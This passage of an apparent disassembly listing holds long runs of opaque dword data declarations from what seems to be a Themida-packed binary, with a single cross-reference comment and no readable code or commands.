		dd 0D7E8B293h, 50903300h, 2D566AB1h, 0BADA1D82h, 4C94C06Fh
		dd 837989B2h, 5CD32500h, 0FFA07D73h, 959E0374h,	0D91608ECh
		dd 0C746E990h, 72D2152Eh, 5444F700h, 783AA71Dh,	94EC0087h
		dd 6A77D708h, 0DB0B593Ch, 0FD91BD5Bh, 0D9564200h, 0FA1D0F46h
		dd 300E9BBh, 2D205CC5h,	15AA008Ch, 25D029D8h, 0A53E3A9Ah
		dd 0E34A848Dh, 1CE868E7h, 646B300h, 0FC43F980h,	3D010CE4h
		dd 0E33C714Ah, 0CBD01698h, 0A2AC07CDh, 72505463h, 0C4C838C2h
		dd 80002C9Dh, 11FF7C6Bh, 0DBFDD0h, 68A95451h, 75DAD679h
		dd 0ACD2FE00h, 9A24F5ABh, 69B200E2h, 4B17BB4Dh,	0CE3ED760h
		dd 90A716FAh, 0BCD4160Ch, 0E70D3B9Fh, 86488B00h, 0C10C428Ch
		dd 7F40600h, 8D891512h,	1E4A0363h, 0EFD0E764h, 2C47C6F8h
		dd 15CCCA1Ch, 483F44C0h, 7DDF7Ah, 9C055B1h, 0FBF4EA4Ah
		dd 0E8587307h, 0EC60146Fh, 71F25BD2h, 22F800CEh, 0BAD987B4h
		dd 36003B89h, 0E724CC27h, 37CD52Ch, 21359A98h, 0BC80BF1Dh
		dd 86005CD6h, 2DBE846Dh, 0EAB97F03h, 0B3220062h, 59B5E1EDh
		dd 0E20448C5h, 4A4FD201h, 6D29D880h, 0F1BD00BFh, 2E094464h
		dd 0DA03AA62h, 7745D2E4h, 7B480028h, 0F78153DCh, 8B166315h
		dd 0D51EC28Dh, 92641CC0h, 0FFDC6E1h, 25A58E31h,	8461DECFh
		dd 64E7666Bh, 0EB0092E4h, 54A145A3h, 0FF19117h,	30035249h
		dd 0A73D41A0h, 2D54D7DDh, 74E093E0h, 65AE0C03h,	897FDA9Dh
		dd 6B302FDDh, 8E810024h, 0E0FC559Ah, 430E38BAh,	8B88403Bh
		dd 0A66E0096h, 9CA946h,	0E4BFF7F1h, 9F16B164h, 0FAE2A300h
		dd 3465DAFBh, 423600C1h, 35AC3E48h, 2007FC1Ah, 0D013804Eh
		dd 7CA952E1h, 2E0BC8h, 1B515F68h, 0DD55B9Eh, 0C6204E00h
		dd 0A28BD307h, 3ED90019h, 0A9B009B9h, 25002766h, 53743FAFh
		dd 0BA8B23h, 0AA798424h, 9B30E142h, 0DA47C21Dh,	97366240h
		dd 932D0Ch, 7400A12h, 417C2AC7h, 761F4A75h, 3AC09648h
		dd 0CE3F7FD3h, 0B0E01EF6h, 5FADC022h, 90732B62h, 1417B700h
		dd 0E35092E6h, 7CEF631h, 0D2AD9BF2h, 0D5B410EDh, 0DF0001E8h
		dd 47FD11ECh, 7BEB7A18h, 39030F4Ah, 0A8CFB0BFh,	0FCB5E6C0h
		dd 5FFE9F2Dh, 9146B104h, 2C80584Ch, 5C553BA1h, 3200ED35h
		dd 6F0C8842h, 7F014992h, 12C97DD0h, 0D8F7E4FAh,	4834B78Bh
		dd 0AF12CC35h, 0DF4440A4h, 0A79951DEh, 6A61E92Eh, 8B5FBF00h
		dd 2EFF6482h, 8074CA5Bh, 56D6FCBAh, 840015F2h, 0D9178167h
		dd 0EA55D2h, 0DC765485h, 95D73C22h, 29062407h, 8B40B99Ch
		dd 8D43A6h, 1CFF2815h, 0BBDDCC5h, 79CBE20Fh, 0CF40BD0Eh
		dd 9C95B6A5h, 36F000D7h, 3782F226h, 630E4610h, 200B23ACh
		dd 0EC62B873h, 83D800F5h, 0D34E153Fh, 710060C4h, 7468339Dh
		dd 119582h, 9725F0D9h, 91E63C83h, 32D50800h, 0CB22B275h
		dd 0F0130FBBh, 34E04FD9h, 0D83F2D95h, 64AC181Fh, 0D203783Bh
		dd 9950A75Ch, 4F4087BAh, 0FC3B1FC2h, 0C5090088h, 0E6CEB9CCh
		dd 0E42E4634h, 8400CCB7h, 8341D14Eh, 698D0087h,	6E1850D0h
		dd 0D32E6D35h, 0B900DCA5h, 58C5F467h, 0D183008Ch, 6542D0FBh
		dd 0C2005980h, 5E125426h, 4304036h, 0E3A0F385h,	688938h
		dd 58FE98B5h, 0A502D470h, 0B31F2F5Eh, 216260FDh, 101E00CBh
		dd 0BF7CC842h, 49021959h, 0D1905195h, 6AA1E093h, 5E9626F9h
		dd 0FD0039CCh
		dd 6AB8DF7h, 7600AE1Dh,	15B8F8A5h, 3E2244C5h, 2B039C48h
		dd 9BCC50FCh, 0A9EFECA0h, 0B1E2FE00h, 0BCB3F196h, 0A6F200A5h
		dd 9310ABB4h, 0C300CD82h, 2B776530h, 16E41583h,	0D614EEh
		dd 4B32C895h, 9F243DB0h, 960021E1h, 0FC53B2E6h,	7BE9E080h
		dd 2295C23h, 46BA8D01h,	20E7AA07h, 0F1047AD5h, 0E9EEDEA8h
		dd 0A8348D0h, 316A1FBEh, 6FD100A7h, 5EAA57EDh, 0B2A88200h
		dd 0D62B6CE7h, 1242005Fh, 22747D13h, 0C6E40E0Ah, 8073693Ah
		dd 2DB416D3h, 0E1F56ECh, 52E29BEFh, 0C405FA76h,	39C04181h
		dd 71C0C627h, 31200203h, 51622D40h, 19BDD460h, 6176E100h
		dd 165160Eh, 0AD76EEh, 0A3426627h, 3FACCB0Ch, 0C531680Fh
		dd 801FCE98h, 3CFB83AEh, 0A1A03081h, 3406774Eh,	0F0B9D21Ch
		dd 5000D466h, 683B9DB8h, 0EDC800DAh, 0F951CD93h, 0D603A0D3h
		dd 1B91F72Ah, 44E5E877h, 0C28F0C40h, 847E4A57h,	39E4A500h
		dd 5A9C5149h, 0D4B60047h, 6C7B8B43h, 0C800F4A4h, 0EEF7B57Eh
		dd 7D1A5B77h, 5AAA0E2Eh, 0D060C38Fh, 0DDAD8319h, 684F3000h
		dd 0C7FB72C2h, 12A90098h, 96FF52CCh, 5300785Bh,	0E9BCB24Bh
		dd 3BA79F9Bh, 4C00910Dh, 57C094DEh, 5F00B12Dh, 952CEC0Bh
		dd 0A4498Ch, 0CEAA58CFh, 88B262E5h, 0ABFA1800h,	836EF070h
		dd 0F340080h, 94221C65h, 4A010C75h, 1EC9ED7Bh, 0D9C0B573h
		dd 847DECh, 0F6421CAEh,	2F26794Dh, 94CC0F00h, 8636E423h
		dd 0F01700A7h, 2CAE71A0h, 6600358Ah, 7A221F4Ah,	0A8AB0Ch
		dd 0A142F740h, 5905C9B1h, 7275A203h, 0D869C7EFh, 1FEB5422h
		dd 809FD906h, 2C8B272Dh, 0F60166D7h, 3844FD71h,	60C8BD02h
		dd 7CE02CFBh, 0E2ED02CEh, 0B0406D26h, 1B0F52F8h, 8056855Dh
		dd 0E8549BDEh, 0E4D0F1C8h, 8F9A005Ch, 0A02DBBBCh, 4C7AF56Ch
		dd 0AED9FE04h, 2088200Dh, 31A201D5h, 23477734h,	0C0B02087h
		dd 37151100h, 0BBE2069Ah, 0EB073A8Ah, 0F1556F00h, 4C1F29Eh
		dd 18DD8C00h, 98EDA433h, 0A6B00EBh, 8DB54F56h, 0CE00ACBDh
		dd 48A8BB03h, 1C6D0F8Fh, 40E61F44h, 76F822C9h, 4B00545Bh
		dd 85FC63C8h, 0C7DAC6h,	9B040103h, 0A7228968h, 0BD0767E6h
		dd 0D47F569Ch, 5E5DF180h, 0E0D7E614h, 4C190703h, 0B0AEA059h
		dd 6B61CFA3h, 3DFFAA00h, 29C64499h, 6677F1h, 0D713A85h
		dd 0E896E6A5h, 5976A4ECh, 2D6F7E00h, 29F65153h,	73EE11h
		dd 0E085C077h, 4142508Dh, 4A0D5D03h, 0D09F4F4Ch, 839CFBh
		dd 0ED91CCAEh, 1D3332F3h, 0BE0F58E0h, 0C008A9F4h, 0D185F11Eh
		dd 9E2A003Ah, 6EC1CF1Ah, 3C006C2Eh, 0DACAB3Bh, 0E4CD52BFh
		dd 0FAF4905Eh, 0D9B0ADh, 8AE6819Ch, 69F08410h, 7DA19100h
		dd 1953AB8Bh, 0A4760059h, 34D61FCCh, 0A3004A36h, 44EFDCB3h
		dd 0F95F77h, 0C7AA3B79h, 72D881FBh, 10CDFD16h, 0BDF5BB05h
		dd 782C8C04h, 54584F01h, 12CF60F4h, 0BF5F1F00h,	2C4BC7D9h
		dd 4F9401FCh, 18E90C7Eh, 1EB428DEh, 0C20B641Eh,	9798045Bh
		dd 0F48CF8B4h, 0E3D12C7Ah, 0DE570E5Eh, 69F6CBA0h, 0FE007942h
		dd 26BC659h, 3897E75h, 0E05444E8h, 3CF8CE6Ah, 5E006D99h
		dd 7D02781Ch, 0FC14253Bh, 638A3E77h, 4E90198Eh,	6FC11D60h
		dd 0F40055F6h, 0D348B79h, 0FEAC49h, 8A2DB5C7h, 0DC8E378Dh
		dd 25EAE400h, 21A292BAh, 5A050051h, 1EF2E3C4h, 6C00E143h
		dd 7072C1CCh, 7E17DDBBh, 1350002h, 77A5329Dh, 0FF3E65EBh
		dd 11C2806Bh, 0B120C5CBh, 387EB4h, 69AE3730h, 970BDCDh
		dd 0B900687Bh, 25620DC0h, 1495391h, 0A6A2D090h,	0CC8551B3h
		dd 4E007D3Eh, 0D91525CBh, 614A6Ch, 0A2C135D4h, 0F8564C3Bh
		dd 99001B76h, 0F3A858F4h, 0FCEBBC5h, 0B5B2D308h, 2DBA3C00h
		dd 0B0583EFBh, 0B12300C6h, 0D1AD37F4h, 70920316h, 6422CAC1h
		dd 0BB2511C0h, 3ECEDB00h, 8996A678h, 9CE75C71h,	4BE15300h
		dd 0ABB5FF06h, 0AA980805h, 9801AD14h, 527678C5h, 3FCDE460h
		dd 0BF12A66Bh, 0ACE8002Fh, 0F473B2CCh, 6478400h, 174594D3h
		dd 28D5FC37h, 2F4C6D9h,	0BCDA663Dh, 14C3BA05h, 1D5D3BA8h
		dd 0E31E5373h, 4F8093DFh, 460A75A7h, 447000C3h,	0FBA99A0Fh
		dd 0EB00EC8Ch, 4D6B56CFh, 48F6B1h, 927431BAh, 39241C7Fh
		dd 3CA8A05Eh, 6ECCBE0Bh, 553B1E80h, 1B0341D5h, 1A4D8E89h
		dd 3632D17Eh, 0C3FEE0h,	34F5DE59h, 1951C6E3h, 20179A00h
		dd 3E31DBFDh, 72CF0A1h,	574F8BB5h, 5939509Fh, 1F007F16h
		dd 0DDF8625Dh, 72D4CF9h, 0CC909303h, 7443005Ah,	86018A85h
		dd 0E637655Ch, 0DC40DFEBh, 107B398h, 0FF572520h, 301594F6h
		dd 800F893h, 0C9E03A16h, 0DDB21Bh, 0D9C56BEAh, 0AC04B425h
		dd 0FFBE4907h, 0B8B0412Bh, 767314h, 0E5954F4Bh,	183CC26Dh
		dd 0FC0BF100h, 0BA5B1E0Ah, 686172Ch, 24562Ah, 17C57F70h
		dd 0BF00E657h, 0BE4F5813h, 82FCFAh, 876BAA70h, 0F677ACDAh
		dd 12A23758h, 50C3DC56h, 4D098EFh, 8CB407F1h, 6081F4DFh
		dd 852BD617h, 9675A500h, 339B72E7h, 4C8B0044h, 0BD32AE11h
		dd 3600B5F2h, 0ABFF8FC2h, 9D58950h, 0E0CEEFF7h,	2DAF070Fh
		dd 6EB74580h, 57002FD2h, 0F6F73F2h, 3FAC0B14h, 818085F9h
		dd 6B4033A2h, 9700942Dh, 5C389334h, 0C5A277Eh, 0AAE9DCC2h
		dd 71031B34h, 4C1A509Fh, 37D1F886h, 0DE1900C0h,	9E4DC9C7h
		dd 0BE00CE83h, 93E0BA7Bh, 0E3A162h, 0E16557A0h,	0ED67B1A4h
		dd 0FC53B507h, 0A06E3D59h, 0A79E5861h, 850200A1h, 6BB48EBAh
		dd 0BB025FCAh, 0DDB65142h, 0C9D040FFh, 75A380D3h, 18DE4B03h
		dd 0C0E42223h, 58E145ACh, 0E200AB0Bh, 0D44113ADh, 2671FD47h
		dd 31608200h, 211072FAh, 63950025h, 0F48EFE48h,	0B8126685h
		dd 0D014EAC2h, 10D807ECh, 605BBEFFh, 0B4A4C074h, 0CDA640ACh
		dd 0B890C75Ch, 80163C3Ah, 0DE1265Ah, 0C30EB7h, 57E6C04Eh
		dd 0B97EEE80h, 87BB4900h, 5FD50835h, 1DEED2h, 0E342A8E2h
		dd 0A114E541h, 0F6832B01h, 0A4D9ECAEh, 0FD1BC8h, 92E0C1BDh
		dd 0CB6DBA87h, 0D7E9375h, 2414BE26h, 0DF473F00h, 0E45CA18Dh
		dd 2EE700B3h, 341E663Bh, 4E001263h, 0F68596B6h,	4516CFh
		dd 0E1276DF1h, 9C44D88h, 728A7B00h, 273E0C5h, 86600DBh
		dd 150FC965h, 380E4119h, 0F6A6F392h, 2E5A6200h,	182D1F2h
		dd 0FF63DF05h, 305D898Dh, 60001183h, 37F89A73h,	99D9A7h
		dd 1BEC1051h, 0A2504E44h, 0C8C2F500h, 0E55ABBCAh, 58973160h
		dd 202DA812h, 5B1FCBD9h, 0B107FEB7h, 1880D1D6h,	0FDC34Eh
		dd 5FB51BB4h, 73914679h, 0B286E324h, 0AC0F2C00h, 28B3FC9Eh
		dd 0A5E7AAh, 50D31498h,	6FD51D46h, 529D7C0Bh, 37F1002Eh
		dd 46AEC8Bh, 24F841A3h,	1F2480DDh, 0B14F4F28h, 14C0400Fh
		dd 0ECD980FCh, 0C609CFh, 59ABC8B5h, 54AE196Ah, 2601ED7Ah
		dd 21146540h, 0FC34C47Fh, 859A09BAh, 2400E405h,	2E87E567h
		dd 5218909Ch, 49FF4DAEh, 610F401Dh, 0D900021Fh,	8CC408C0h
		dd 967B2975h, 0DCE4310Eh, 926FC146h, 98F97002h,	0A939F4h
		dd 1084B106h, 55528981h, 0B4BAB000h, 0E4EA1488h, 8D719Ah
		dd 9479ED93h, 0AFD19DFh, 0BA6B1800h, 82AB0FA3h,	0C8480947h
		dd 49006FB4h, 0B8074234h, 87DF103Eh, 0AFEB333Eh, 0FBD0CE30h
		dd 355F004Dh, 561EFA3Bh, 0C0015581h, 0C3B63DB7h, 6CC4E557h
		dd 327EDEh, 0FCAA2D4Bh,	8DF1E6BCh, 28ACE12Eh, 0F67B5500h
		dd 4B8113h, 23B47F38h, 86A1BF25h, 0E4E6BB01h, 77876D94h
		dd 1E7DD730h, 47339EEEh
		dd 0C0DBE21Fh, 7AA7EF26h, 739DECF3h, 0CB003BF6h, 39F8511Ah
		dd 0B54960h, 1723A182h,	64899A8Fh, 386CE200h, 0D7B481FCh
		dd 7AE4007Ch, 0B835CB44h, 800791DBh, 5E7F69C4h,	0A8DADFB3h
		dd 0ACD29h, 0F55D2649h,	0D11576D7h, 7B723D00h, 0C922D0BCh
		dd 0FE371E9Fh, 55B7805Dh, 0EAC15CDBh, 19ECAFE8h, 6DA44F00h
		dd 86ADBF3Bh, 0DD3A01E7h, 0A87A8DD4h, 1240C6FCh, 0ECE89AC8h
		dd 0EBB1300h, 0DF1F4A24h, 834E0052h, 0CD49DBF7h, 0E2078007h
		dd 12E115CCh, 24A0B250h, 39140116h, 0E749AA53h,	0AFD0C870h
		dd 0C5B14217h, 0CDE9DA00h, 0B74044h, 0EA7A26BBh, 48BC59DEh
		dd 4DC7F00h, 29CFD20Bh,	0F55A0403h, 80EF102Dh, 921520AEh
		dd 0BE02E403h, 0B05D5090h, 802D59h, 0C54AF758h,	6B6CE45h
		dd 0DE2C400h, 4861AA02h, 8C983B5Dh, 0FC2B5B0Eh,	85DC6DA0h
		dd 390EF059h, 8078D212h, 5370F416h, 3CA9074Fh, 0F95AFB37h
		dd 5C961E81h, 0CB12F4B4h, 9DA55101h, 0B28D385h,	504597CCh
		dd 59B4AEh, 0E7573353h,	3027EA18h, 0D4901300h, 0D3FE6C6h
		dd 88ED0059h, 0F439C5F5h, 0D500CFCCh, 0F9767DE3h, 58EBC07h
		dd 1F27FAFFh, 429D000Ch, 0E5D3F737h, 0F12F1B00h, 0B001C5C0h
		dd 1584EC2h, 7A93B7A8h,	80F0C046h, 6A2A1000h, 0FF3ED498h
		dd 2D6D004Eh, 69C1F7F8h, 7500E673h, 0A2ADF317h,	96B3687Dh
		dd 0E9C900F4h, 0AC6D075Bh, 93D25D00h, 6C569F4Fh, 8296002Eh
		dd 0DD95609Ch, 0F1003DC4h, 8B423814h, 59B3BDC0h, 5B48F8FAh
		dd 40F5161Dh, 0B2AB05Eh, 4300ED30h, 0FE15524Eh,	76EA608h
		dd 8A6AD688h, 0B8763404h, 0F7510068h, 0C0D9A66h, 56713852h
		dd 5C93500Eh, 805F9D1Ch, 4904F01h, 0B0C084EBh, 0EA5AF2BBh
		dd 55E027C9h, 0EE695800h, 0F10089C5h, 0DE272A9Dh, 4A738C64h
		dd 0E208D00Eh, 45FA626Bh, 54449707h, 41709633h,	13F9BFD6h
		dd 3C851E6h, 75323A35h,	6BC02400h, 0B396D5ACh, 0A90F008Ch
		dd 0F11F0594h, 0A607F6F7h, 7796C73h, 517F9E21h,	0C8647F8h
		dd 0B9D0D834h, 19768CACh, 921A2901h, 0AE015C56h, 645FD8h
		dd 362A99FCh, 0C175ECC3h, 4C0B9CFEh, 10B121h, 787601CFh
		dd 0B97CEDh, 262C940h, 599F68E1h, 7AEBCB00h, 11C3D82Eh
		dd 0C10F0125h, 0AA91337Eh, 434320CCh, 75928C07h, 0D2A34627h
		dd 174CF831h, 37240071h, 45B97D1Bh, 2051BE9Fh, 281CC3C1h
		dd 0DB001F2Bh, 414BFDEBh, 0B991006Bh, 9CF568FEh, 0E800B08Ch
		dd 0FFC30942h, 4B03FD79h, 8EF0006Dh, 0DB3FBF91h, 6EE65F00h
		dd 0C150BC8h, 0EA750018h, 0B513EBF4h, 4D583E10h, 802E075Ch
		dd 0B9801FDDh, 0B21F8BEh, 9502C083h, 2E6B3C03h,	0A5EA1100h
		dd 0C5F7F4BAh, 8F8A005Ah, 0AEEFFBD1h, 9EF485D9h, 0E7804060h
		dd 954CC371h, 96702880h, 0E400257Ah, 0D1590973h, 0A0E5C63Eh
		dd 6096C810h, 9CEF3941h, 0DE3A5BEDh, 0D90A7ED4h, 2C98C58Bh
		dd 4A83D504h, 210BC240h, 8C0D16Ch, 39BB2656h, 0B1E61C2Ch
		dd 36BA8077h, 31E7F9C1h, 0C97625B0h, 27DB27Ah, 1B78D90Fh
		dd 0D0A7E05Dh, 742F2173h, 0E844A34Ch, 40D33429h, 8600E2EDh
		dd 21033AA0h, 93DF57h, 7E7CAD40h, 0D20C2F5Dh, 0F04990C0h
		dd 0CE371684h, 0C3E06010h, 64EB56D7h, 1CFB7B03h, 80D8ACDFh
		dd 0EECCC49h, 0A801DE51h, 1F00B034h, 0BE86EEE8h, 5F061225h
		dd 0A2F05898h, 6780091h, 0DB4D2FD4h, 6260534Ah,	3AAA7E19h
		dd 10D74A4h, 27D9C92Eh,	8F2CDD26h, 0DEF7B0h, 0A1F408DBh
		dd 6D100C6h, 54BF5578h,	7034DA8h, 0DC27AF6Bh, 0E74B815Fh
		dd 843AE0FBh, 2F3F0E35h, 0C0B38DC9h, 28C3E66Ch,	51D91D00h
		dd 76880D59h, 0A9B9278Bh, 0EC4F2CC4h, 0FAD1088h, 0FBED9F18h
		dd 33072E8Fh, 284706C3h, 4F6B7700h, 0AD42F32Ch,	504830D3h
		dd 0EA07B818h, 0EBC9A800h, 321BCB58h, 0D86A0072h, 0AB96E6B5h
		dd 9D009CA0h, 0A26C092Dh, 2E2B0AE7h, 22FB79h, 0DF398E71h
		dd 0FA0E457Ch, 1F29E6E1h, 9132E500h, 9DE9A505h,	2503F835h
		dd 0F8433CFCh, 8BB720FEh, 695C87E0h, 0A47050C1h, 98474611h
		dd 365F0B81h, 9CDEB840h, 183A605Dh, 7CCA9D58h, 6DF081C4h
		dd 0B08BBF40h, 7808F65Ah, 42FD5E71h, 36621021h,	0A0F59087h
		dd 0BC34C9DBh, 0E626E803h, 43805Fh, 7B2E9A9h, 217BC708h
		dd 13C8A419h, 2189E008h, 0D7805982h, 0CF4A7890h, 1A0E4D00h
		dd 502D7CE6h, 88FB1429h, 0E70CC037h, 95B8A3D1h,	0F44544h
		dd 217477DDh, 0DB048E08h, 24CFD980h, 8234149Bh,	0DF50AC2Eh
		dd 16F1C99h, 902418B0h,	2BFC03D4h, 57CA977Bh, 6AAE25B8h
		dd 2A30AF71h, 5238F944h, 0F2DEEE1Fh, 0D5D30EE2h, 0CE8CE394h
		dd 5A1D8621h, 60DF771Fh, 5B9187C0h, 886FEC59h, 0AB00DAD5h
		dd 22E4C7CDh, 9DF047h, 114B594h, 0D48CAD48h, 1CBBB0ABh
		dd 0D0277AF1h, 2F4F4172h, 5F91A4C1h, 946A2080h,	0F49C5D9Dh
		dd 0A5648800h, 2F748CA1h, 0CFDC00A6h, 0C5A72279h, 3B3F3327h
		dd 0E24A9489h
dword_57A6F0	dd 0CFED0944h, 859A0F23h, 6E848F99h, 9E8D3081h,	77E96180h
					; DATA XREF: Themida_:006095ABo
		dd 0DC2D132Fh, 4A00A87Ch, 0E27A6461h, 2819122h,	9DB5212Bh
		dd 0A044DB93h, 0DCA88D0Fh, 0F578351h, 0B7DED9F8h, 6880D8F1h
		dd 0D9BC7628h, 2405D3C7h, 5538FD3Fh, 82D2EC01h,	488254BBh
		dd 0BCF6D506h, 0AF7EACA1h, 0EC05893h, 0D9B00D04h, 1D32ECE4h
		dd 1F9C8029h, 1B3528Bh,	421BA2C8h, 803B60FDh, 8FED9068h
		dd 1550C682h, 0B8A84802h, 99D2180h, 7E439427h, 6F008B22h
		dd 8DFD9D99h, 64728h, 0F463E81h, 0DEB63A3Ch, 6CD50B24h
		dd 0C931A004h, 0C2354900h, 0F93E9376h, 4C40BF7Ch, 0C84F2A80h
		dd 0D584C604h, 0CC801492h, 8471FBC3h, 0BF445121h, 4A443FC4h
		dd 6C240047h, 8CCFDF23h, 0DB1E2105h, 2A413D79h,	0A27AEE39h
		dd 508D44E8h, 0A770A3h,	0BAD5F078h, 5B23BEF3h, 8C260928h
		dd 982EB23Ah, 82806E2Fh, 290D1FFAh, 4740D670h, 902D853Ch
		dd 0F71FBC5Bh, 3281069h, 49E51ECh, 0AF17EDC0h, 0C7290730h
		dd 0A353FA22h, 0C989DFE8h, 316A3FBAh, 48C89DD0h, 0C509B694h
		dd 0A02D75C7h, 5F5514CCh, 21DE60A6h, 17E90E07h,	74989F0Fh
		dd 8816C42h, 188CA81Bh,	0F7E90076h, 0BE8DF8E4h,	440347DFh
		dd 7FB590C1h, 278804E5h, 9024C8C3h, 4A5B9D04h, 300418D2h
		dd 474F2B80h, 0B440758Bh, 0B8B15F4Ah, 7E87202h,	7094B983h
		dd 5420CD44h, 2329E978h, 611E89Fh, 0E9400A00h, 328B3B47h
		dd 9EBE8000h, 69B522CCh, 0BCD3098h, 0A6DE6229h,	0FB0BB499h
		dd 0BF4C20B0h, 0B2C2756h, 0C478CBE4h, 84ACF800h, 0D6906515h
		dd 0B658C106h, 4CA06C4Fh, 0E4BCC427h, 2EEC8Ch, 8E98C01Fh
		dd 67AB0D15h, 24CA0F3Dh, 8B4FF4E2h, 94108E44h, 8C60BC80h
		dd 5F052A1Ch, 80C172C9h, 7EB51E58h, 0B2CF0C04h,	10F9A18Ch
		dd 50B18200h, 15B52A32h, 804660DEh, 6BF73B52h, 1F790C99h
		dd 9D05CB18h, 0EF62C54Ah, 0B70068B9h, 6D1B39A3h, 0C62DEC47h
		dd 0F7AC68A6h, 46A4A402h, 7A00285h, 314BD152h, 0AF8810DDh
		dd 59021207h, 0B120305Eh, 22044033h, 1C34FB24h,	888F388Ch
		dd 61249CD0h, 0CB02A897h, 6BAF1Fh, 90F67303h, 8A4218C9h
		dd 0D410EC5Ch, 759D2580h, 734CB427h, 8097C85Ch,	0E59D1A9Bh
		dd 1100FA91h, 4B8F2E8Ah, 0B72F5DB2h, 0B537EC18h, 51F17203h
		dd 0CE0EDAC7h, 9C49108h, 78805A88h, 0C8D50566h,	761898E8h
		dd 18E1592Ah, 0EA6C00AEh, 0C45873AFh, 0B926B36Bh, 37009096h
		dd 0C7507B45h, 804215E7h, 0AB0094DAh, 51387C66h, 0DC16D174h
		dd 0F6A08F43h, 0E8F8006Eh, 940EB7E3h, 7B15FACDh, 0B4C70Dh
		dd 0BBE208F7h, 13BFAF70h, 2807AB1Fh, 0DCB17E48h, 0A7183B79h
		dd 0BA01F000h, 66653E2Ah, 783C44F1h, 0AA4B9D00h, 9ABA104Eh
		dd 33D26EEh, 3A21C368h,	0C93405B9h, 3058748Bh, 43D38213h
		dd 0FC224024h, 0CF706D15h, 0DE9E4760h, 2D01712Eh, 0C59F1D35h
		dd 8003DC7Bh, 0CBAC41FDh, 0CC4F70BCh, 9D0F8725h, 0A57BDAF8h
		dd 0F0BC881Ch, 2F26D29Dh, 53236Ch, 0DE3A82DCh, 0DC94FB1Fh
		dd 1E472300h, 0BE12F7h,	43D45F16h, 0EEEDE80Fh, 0B4E8C677h
		dd 22F93B13h, 0C058EC08h, 9F20E95Dh, 4228046h, 0E9852705h
		dd 3C8063C9h, 8AC3F44Fh, 10B12852h, 2E18CED1h, 150A3E00h
		dd 387F08C0h, 31D225ECh, 1DAB3800h, 0C8B805D1h,	1702AE46h
		dd 2427AF9Dh, 69139231h, 0D9359DF0h, 0F5904200h, 0BA30CC66h
		dd 0B847516Bh, 31ECBC20h, 8DB8AF3Ah, 76398099h,	6AC6986Fh
		dd 0F55B0793h, 318C9CF1h, 70B851FEh, 418ABF18h,	198844h
		dd 13D157C8h, 0D644D8ACh, 7A20089h, 266080Bh, 2C0212F2h
		dd 0FCFD4760h, 5E444044h, 84AE2E1Ah, 4782688h, 7AF4174h
		dd 6D34EFCBh, 0AD1F40CAh, 5EEC8C21h, 70993F40h,	0DD428D00h
		dd 0E80E8Bh, 0B7857193h, 4007D93Eh, 231CDC91h, 0D5B2DE82h
		dd 0D88099E7h, 388C20h,	664920DBh, 3C4778B3h, 90F26F12h
		dd 43770C40h, 126F706h,	0A7769D27h, 0EE6146C1h,	23162C61h
		dd 3060A22Ch, 3200119Bh, 0F6D9A1Eh, 647FB2h, 0ACA3B175h
		dd 0A4D5F920h, 0F89D1937h, 54F3ADC0h, 85E09246h, 60636438h
		dd 14DE476Eh, 0AC359BCFh, 21683119h, 39C2D4B3h,	0C4503Fh
		dd 15049E94h, 5D5F288h,	3CBA7837h, 42ACD152h, 18B829DAh
		dd 0A9909B3Ah, 5E7002BFh, 522F48F7h, 35310048h,	7FBA61C0h
		dd 8BC1ACh, 9E104DCCh, 18D53BBBh, 8F40CF6Bh, 0C800314Ch
		dd 95BF3FF0h, 0DB166B26h, 3D139B78h, 0F8701800h, 4CB4B185h
		dd 7A80E483h, 2A72543Dh, 0DCCE401h, 0DBEA9F9Dh,	0F722DCh
		dd 3B6F578Bh, 24D3C477h, 879C1F09h, 0E2C0457Bh,	691849ACh
		dd 0D0B71DBFh, 0E006C73Fh, 860E0193h, 0E5F8E4EEh, 0E224C600h
		dd 0EB21B48Dh, 6F9D12B5h, 32449071h, 2C016DF0h,	0D3A88CE6h
		dd 0E8482AACh, 7A028C4Bh, 789F1BE9h, 1319197Bh,	0DBE9D034h
		dd 0EC454CE2h, 0DCA9CC00h, 0B3C5B651h, 0E5705F67h, 9619D4C6h
		dd 74FCA4D8h, 88006F46h, 4E9A5C2Ch, 0B7349DB6h,	0EC826048h
		dd 269078C0h, 0C20C42E6h, 98C307B1h, 510CD8CCh,	26006EE0h
		dd 0EEA29DB3h, 0E9EDC2h, 548D7766h, 16132403h, 29DD7D90h
		dd 2F00211Dh, 15426FD3h, 0CCB189Fh, 0EE1B212Bh,	2C050207h
		dd 0D0B0DCD9h, 619BC191h, 134A08BAh, 26DFF853h,	0C56C600Fh
		dd 14454022h, 6B8F757h,	339E277Fh, 0CEE06862h, 9F2FCD00h
		dd 2C52DAECh, 401266F1h, 370021A8h, 76142FD6h, 0BD77BAh
		dd 131FC1DCh, 784680DEh, 96D7410Eh, 75303871h, 21603EBAh
		dd 0F4E3D0h, 0A9D99217h, 47A10815h, 80669B00h, 898F1865h
		dd 6D483068h, 1524AC69h, 460A22Ch, 44724F00h, 6019E957h
		dd 0A166F91Eh, 92002A90h, 74B1D9F4h, 9C99EFh, 5E4F1CCFh
		dd 0F7F60731h, 1FB42C00h, 90F87C76h, 41536019h,	69E726C6h
		dd 87BC9F06h, 3109A765h, 0E620EF03h, 10E8CB9Eh,	0D1C076FEh
		dd 0C1CC7E50h, 0FD100B1h, 0B1C2244h, 7500F048h,	1E56EED6h
		dd 2377D7h, 215D52ECh, 3750A8BDh, 63297600h, 0E155C211h
		dd 0D1710A6Eh, 80F02796h, 19658E60h, 0F271FDE9h, 0F325A11Dh
		dd 53797958h, 0C4650166h, 0A280B5F5h, 1EE081C7h, 0F88828CFh
		dd 43AB6080h, 0E15B3DECh, 0CC30E97Ch, 12901852h, 2D7E4CFh
		dd 7D2BAA44h, 84B0B6F8h, 8F3AE72Ch, 918C219Fh, 0A4E4000Eh
		dd 692D1BE6h, 0D41A0084h, 1B73A4Bh, 651CE94Fh, 1E041CC2h
		dd 5890F3FFh, 24A2B859h, 9A3861CFh, 7C900978h, 0A274BBB9h
		dd 88F1420Ch, 0F8A1A056h, 0BED92963h, 80C31190h, 0E92B6590h
		dd 22F3438Dh, 684D0062h, 5664B165h, 7B18393Ah, 0A7C118F8h
		dd 8C831F8Fh, 24099E58h, 0BA9880ACh, 9CA12C0Ah,	0DD02EB18h
		dd 2408CF78h, 4418B5F8h, 0E71160B1h, 0A49F239Ch, 57E1011h
		dd 4EE0E6A9h, 0DCCC0E26h, 639F06B0h, 660DB99h, 96C73AF5h
		dd 9C00B97Ah, 1D1B04D1h, 0B3B680h, 0A8E7BD85h, 4BBA5590h
		dd 38C00976h, 1CDCB4CBh, 66980F2Ch, 0D643375Ah,	49007201h
